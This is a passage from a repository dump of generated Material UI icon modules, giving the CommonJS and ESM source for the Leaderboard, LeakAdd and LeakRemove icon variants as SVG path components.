    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11V3H8v6H2v12h20V11zm-6-6h4v14h-4zm-6 6h4v8H4zm16 8h-4v-6h4z\"\n}), 'LeaderboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11V3H8v6H2v12h20V11zm-6-6h4v14h-4zm-6 6h4v8H4zm16 8h-4v-6h4z\"\n}), 'LeaderboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 21H3c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m7.25-18h-3.5c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h3.5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1M21 11h-3.5c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1H21c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1\"\n}), 'LeaderboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 21H3c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m7.25-18h-3.5c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h3.5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1M21 11h-3.5c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1H21c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1\"\n}), 'LeaderboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 21H2V9h5.5zm7.25-18h-5.5v18h5.5zM22 11h-5.5v10H22z\"\n}), 'LeaderboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 21H2V9h5.5zm7.25-18h-5.5v18h5.5zM22 11h-5.5v10H22z\"\n}), 'LeaderboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5h4v14h-4zm-6 6h4v8H4zm16 8h-4v-6h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11V3H8v6H2v12h20V11zm-6-6h4v14h-4zm-6 6h4v8H4zm16 8h-4v-6h4z\"\n}, \"1\")], 'LeaderboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeaderboardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5h4v14h-4zm-6 6h4v8H4zm16 8h-4v-6h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11V3H8v6H2v12h20V11zm-6-6h4v14h-4zm-6 6h4v8H4zm16 8h-4v-6h4z\"\n}, \"1\")], 'LeaderboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3H3v3c1.66 0 3-1.34 3-3m8 0h-2c0 4.97-4.03 9-9 9v2c6.08 0 11-4.93 11-11m-4 0H8c0 2.76-2.24 5-5 5v2c3.87 0 7-3.13 7-7m0 18h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11m8 0h3v-3c-1.66 0-3 1.34-3 3m-4 0h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7\"\n}), 'LeakAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3H3v3c1.66 0 3-1.34 3-3m8 0h-2c0 4.97-4.03 9-9 9v2c6.08 0 11-4.93 11-11m-4 0H8c0 2.76-2.24 5-5 5v2c3.87 0 7-3.13 7-7m0 18h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11m8 0h3v-3c-1.66 0-3 1.34-3 3m-4 0h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7\"\n}), 'LeakAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3H3v3c1.66 0 3-1.34 3-3m8 0h-2c0 4.97-4.03 9-9 9v2c6.08 0 11-4.93 11-11m-4 0H8c0 2.76-2.24 5-5 5v2c3.87 0 7-3.13 7-7m0 18h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11m8 0h3v-3c-1.66 0-3 1.34-3 3m-4 0h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7\"\n}), 'LeakAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3H3v3c1.66 0 3-1.34 3-3m8 0h-2c0 4.97-4.03 9-9 9v2c6.08 0 11-4.93 11-11m-4 0H8c0 2.76-2.24 5-5 5v2c3.87 0 7-3.13 7-7m0 18h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11m8 0h3v-3c-1.66 0-3 1.34-3 3m-4 0h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7\"\n}), 'LeakAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.05 21c.5 0 .94-.37.99-.87.41-4.27 3.81-7.67 8.08-8.08.5-.05.88-.48.88-.99 0-.59-.51-1.06-1.1-1-5.19.52-9.32 4.65-9.84 9.83-.06.59.4 1.11.99 1.11M18 21h3v-3c-1.66 0-3 1.34-3 3m-2.91 0c.49 0 .9-.36.98-.85.36-2.08 2-3.72 4.08-4.08.49-.08.85-.49.85-.98 0-.61-.54-1.09-1.14-1-2.96.48-5.29 2.81-5.77 5.77-.1.6.39 1.14 1 1.14M12.97 3.02c-.5 0-.94.37-.99.87-.41 4.27-3.81 7.67-8.08 8.08-.5.05-.88.48-.88.99 0 .59.51 1.06 1.1 1 5.19-.52 9.32-4.65 9.84-9.83.07-.58-.39-1.11-.99-1.11m-6.94 0h-3v3c1.66 0 3-1.34 3-3m2.91 0c-.49 0-.9.36-.98.85-.36 2.08-2 3.72-4.08 4.08-.49.09-.85.49-.85.99 0 .61.54 1.09 1.14 1 2.96-.48 5.29-2.81 5.77-5.77.09-.61-.4-1.15-1-1.15\"\n}), 'LeakAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.05 21c.5 0 .94-.37.99-.87.41-4.27 3.81-7.67 8.08-8.08.5-.05.88-.48.88-.99 0-.59-.51-1.06-1.1-1-5.19.52-9.32 4.65-9.84 9.83-.06.59.4 1.11.99 1.11M18 21h3v-3c-1.66 0-3 1.34-3 3m-2.91 0c.49 0 .9-.36.98-.85.36-2.08 2-3.72 4.08-4.08.49-.08.85-.49.85-.98 0-.61-.54-1.09-1.14-1-2.96.48-5.29 2.81-5.77 5.77-.1.6.39 1.14 1 1.14M12.97 3.02c-.5 0-.94.37-.99.87-.41 4.27-3.81 7.67-8.08 8.08-.5.05-.88.48-.88.99 0 .59.51 1.06 1.1 1 5.19-.52 9.32-4.65 9.84-9.83.07-.58-.39-1.11-.99-1.11m-6.94 0h-3v3c1.66 0 3-1.34 3-3m2.91 0c-.49 0-.9.36-.98.85-.36 2.08-2 3.72-4.08 4.08-.49.09-.85.49-.85.99 0 .61.54 1.09 1.14 1 2.96-.48 5.29-2.81 5.77-5.77.09-.61-.4-1.15-1-1.15\"\n}), 'LeakAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3H3v3c1.66 0 3-1.34 3-3m8 0h-2c0 4.97-4.03 9-9 9v2c6.08 0 11-4.93 11-11m-4 0H8c0 2.76-2.24 5-5 5v2c3.87 0 7-3.13 7-7m0 18h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11m8 0h3v-3c-1.66 0-3 1.34-3 3m-4 0h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7\"\n}), 'LeakAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3H3v3c1.66 0 3-1.34 3-3m8 0h-2c0 4.97-4.03 9-9 9v2c6.08 0 11-4.93 11-11m-4 0H8c0 2.76-2.24 5-5 5v2c3.87 0 7-3.13 7-7m0 18h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11m8 0h3v-3c-1.66 0-3 1.34-3 3m-4 0h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7\"\n}), 'LeakAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 21h3v-3c-1.66 0-3 1.34-3 3M3 14c6.08 0 11-4.93 11-11h-2c0 4.97-4.03 9-9 9zm11 7h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7M3 10c3.87 0 7-3.13 7-7H8c0 2.76-2.24 5-5 5zm7 11h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11M3 3v3c1.66 0 3-1.34 3-3z\"\n}), 'LeakAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 21h3v-3c-1.66 0-3 1.34-3 3M3 14c6.08 0 11-4.93 11-11h-2c0 4.97-4.03 9-9 9zm11 7h2c0-2.76 2.24-5 5-5v-2c-3.87 0-7 3.13-7 7M3 10c3.87 0 7-3.13 7-7H8c0 2.76-2.24 5-5 5zm7 11h2c0-4.97 4.03-9 9-9v-2c-6.07 0-11 4.93-11 11M3 3v3c1.66 0 3-1.34 3-3z\"\n}), 'LeakAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemove.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H8c0 .37-.04.72-.12 1.06l1.59 1.59C9.81 4.84 10 3.94 10 3M3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.71 0 5.19-.99 7.11-2.62l2.5 2.5C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.69l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21 21 19.73 4.27 3zM14 3h-2c0 1.5-.37 2.91-1.02 4.16l1.46 1.46C13.42 6.98 14 5.06 14 3m5.94 13.12c.34-.08.69-.12 1.06-.12v-2c-.94 0-1.84.19-2.66.52zm-4.56-4.56 1.46 1.46C18.09 12.37 19.5 12 21 12v-2c-2.06 0-3.98.58-5.62 1.56\"\n}), 'LeakRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemove.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H8c0 .37-.04.72-.12 1.06l1.59 1.59C9.81 4.84 10 3.94 10 3M3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.71 0 5.19-.99 7.11-2.62l2.5 2.5C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.69l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21 21 19.73 4.27 3zM14 3h-2c0 1.5-.37 2.91-1.02 4.16l1.46 1.46C13.42 6.98 14 5.06 14 3m5.94 13.12c.34-.08.69-.12 1.06-.12v-2c-.94 0-1.84.19-2.66.52zm-4.56-4.56 1.46 1.46C18.09 12.37 19.5 12 21 12v-2c-2.06 0-3.98.58-5.62 1.56\"\n}), 'LeakRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3h-2c0 1.35-.31 2.63-.84 3.77l1.49 1.49C13.51 6.7 14 4.91 14 3m7 9v-2c-1.91 0-3.7.49-5.27 1.35l1.49 1.49c1.15-.53 2.43-.84 3.78-.84m0 4v-2c-.79 0-1.54.13-2.24.37l1.68 1.68c.19-.01.37-.05.56-.05M10 3H8c0 .19-.04.37-.06.56l1.68 1.68c.25-.7.38-1.46.38-2.24m-5.59-.14L3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.72 0 5.2-.99 7.11-2.62l2.51 2.51C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.7l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21l1.41-1.41z\"\n}), 'LeakRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3h-2c0 1.35-.31 2.63-.84 3.77l1.49 1.49C13.51 6.7 14 4.91 14 3m7 9v-2c-1.91 0-3.7.49-5.27 1.35l1.49 1.49c1.15-.53 2.43-.84 3.78-.84m0 4v-2c-.79 0-1.54.13-2.24.37l1.68 1.68c.19-.01.37-.05.56-.05M10 3H8c0 .19-.04.37-.06.56l1.68 1.68c.25-.7.38-1.46.38-2.24m-5.59-.14L3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.72 0 5.2-.99 7.11-2.62l2.51 2.51C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.7l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21l1.41-1.41z\"\n}), 'LeakRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.12 12.04c.5-.05.88-.48.88-.99 0-.59-.51-1.06-1.1-1-1.5.15-2.9.61-4.16 1.3l1.48 1.48c.9-.41 1.87-.69 2.9-.79m.88 3.05c0-.61-.54-1.09-1.14-1-.38.06-.75.16-1.11.28l1.62 1.62c.37-.15.63-.49.63-.9M13.97 4.14c.06-.59-.4-1.11-1-1.11-.5 0-.94.37-.99.87-.1 1.03-.38 2.01-.79 2.91l1.48 1.48c.69-1.26 1.15-2.66 1.3-4.15m-4.04.02c.1-.6-.39-1.14-1-1.14-.41 0-.75.26-.9.62l1.62 1.62c.13-.35.22-.72.28-1.1m10.51 14.72L5.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.15 2.15c-.59.41-1.26.7-1.99.82-.48.1-.84.5-.84 1 0 .61.54 1.09 1.14 1 1.17-.19 2.23-.68 3.13-1.37L8.73 10c-1.34 1.1-3 1.82-4.81 1.99-.5.05-.88.48-.88.99 0 .59.51 1.06 1.1 1 2.28-.23 4.36-1.15 6.01-2.56l2.48 2.48c-1.4 1.65-2.33 3.72-2.56 6-.06.59.4 1.11 1 1.11.5 0 .94-.37.99-.87.18-1.82.9-3.48 1.99-4.82l1.43 1.43c-.69.9-1.18 1.96-1.37 3.13-.1.6.39 1.14 1 1.14.49 0 .9-.36.98-.85.12-.73.42-1.4.82-1.99l2.13 2.13c.39.39 1.02.39 1.41 0 .38-.41.38-1.04-.01-1.43\"\n}), 'LeakRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.12 12.04c.5-.05.88-.48.88-.99 0-.59-.51-1.06-1.1-1-1.5.15-2.9.61-4.16 1.3l1.48 1.48c.9-.41 1.87-.69 2.9-.79m.88 3.05c0-.61-.54-1.09-1.14-1-.38.06-.75.16-1.11.28l1.62 1.62c.37-.15.63-.49.63-.9M13.97 4.14c.06-.59-.4-1.11-1-1.11-.5 0-.94.37-.99.87-.1 1.03-.38 2.01-.79 2.91l1.48 1.48c.69-1.26 1.15-2.66 1.3-4.15m-4.04.02c.1-.6-.39-1.14-1-1.14-.41 0-.75.26-.9.62l1.62 1.62c.13-.35.22-.72.28-1.1m10.51 14.72L5.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.15 2.15c-.59.41-1.26.7-1.99.82-.48.1-.84.5-.84 1 0 .61.54 1.09 1.14 1 1.17-.19 2.23-.68 3.13-1.37L8.73 10c-1.34 1.1-3 1.82-4.81 1.99-.5.05-.88.48-.88.99 0 .59.51 1.06 1.1 1 2.28-.23 4.36-1.15 6.01-2.56l2.48 2.48c-1.4 1.65-2.33 3.72-2.56 6-.06.59.4 1.11 1 1.11.5 0 .94-.37.99-.87.18-1.82.9-3.48 1.99-4.82l1.43 1.43c-.69.9-1.18 1.96-1.37 3.13-.1.6.39 1.14 1 1.14.49 0 .9-.36.98-.85.12-.73.42-1.4.82-1.99l2.13 2.13c.39.39 1.02.39 1.41 0 .38-.41.38-1.04-.01-1.43\"\n}), 'LeakRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3h-2c0 1.35-.31 2.63-.84 3.77l1.49 1.49C13.51 6.7 14 4.91 14 3m7 9v-2c-1.91 0-3.7.49-5.27 1.35l1.49 1.49c1.15-.53 2.43-.84 3.78-.84m0 4v-2c-.79 0-1.54.13-2.24.37l1.68 1.68c.19-.01.37-.05.56-.05M10 3H8c0 .19-.04.37-.06.56l1.68 1.68c.25-.7.38-1.46.38-2.24m-5.59-.14L3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.72 0 5.2-.99 7.11-2.62l2.51 2.51C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.7l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21l1.41-1.41z\"\n}), 'LeakRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3h-2c0 1.35-.31 2.63-.84 3.77l1.49 1.49C13.51 6.7 14 4.91 14 3m7 9v-2c-1.91 0-3.7.49-5.27 1.35l1.49 1.49c1.15-.53 2.43-.84 3.78-.84m0 4v-2c-.79 0-1.54.13-2.24.37l1.68 1.68c.19-.01.37-.05.56-.05M10 3H8c0 .19-.04.37-.06.56l1.68 1.68c.25-.7.38-1.46.38-2.24m-5.59-.14L3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.72 0 5.2-.99 7.11-2.62l2.51 2.51C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.7l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21l1.41-1.41z\"\n}), 'LeakRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3h-2c0 1.35-.31 2.63-.84 3.77l1.49 1.49C13.51 6.7 14 4.91 14 3m7 9v-2c-1.91 0-3.7.49-5.27 1.35l1.49 1.49c1.15-.53 2.43-.84 3.78-.84m0 4v-2c-.79 0-1.54.13-2.24.37l1.68 1.68c.19-.01.37-.05.56-.05M10 3H8c0 .19-.04.37-.06.56l1.68 1.68c.25-.7.38-1.46.38-2.24m-5.59-.14L3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.72 0 5.2-.99 7.11-2.62l2.51 2.51C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.7l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21l1.41-1.41z\"\n}), 'LeakRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LeakRemoveTwoTone.mjs",
